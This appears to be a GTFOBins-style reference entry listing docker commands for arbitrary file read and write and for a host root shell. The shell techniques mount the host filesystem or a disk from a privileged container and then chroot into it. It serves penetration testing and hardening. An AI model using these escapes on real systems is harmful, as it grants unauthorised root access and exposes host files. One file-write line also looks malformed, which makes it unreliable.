docker

File Read

Context: sudo, suid, unprivileged

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file

File Write

Context: sudo, suid, unprivileged

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file

Shell

Context: sudo, suid, unprivileged

docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Context: sudo, suid, unprivileged

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash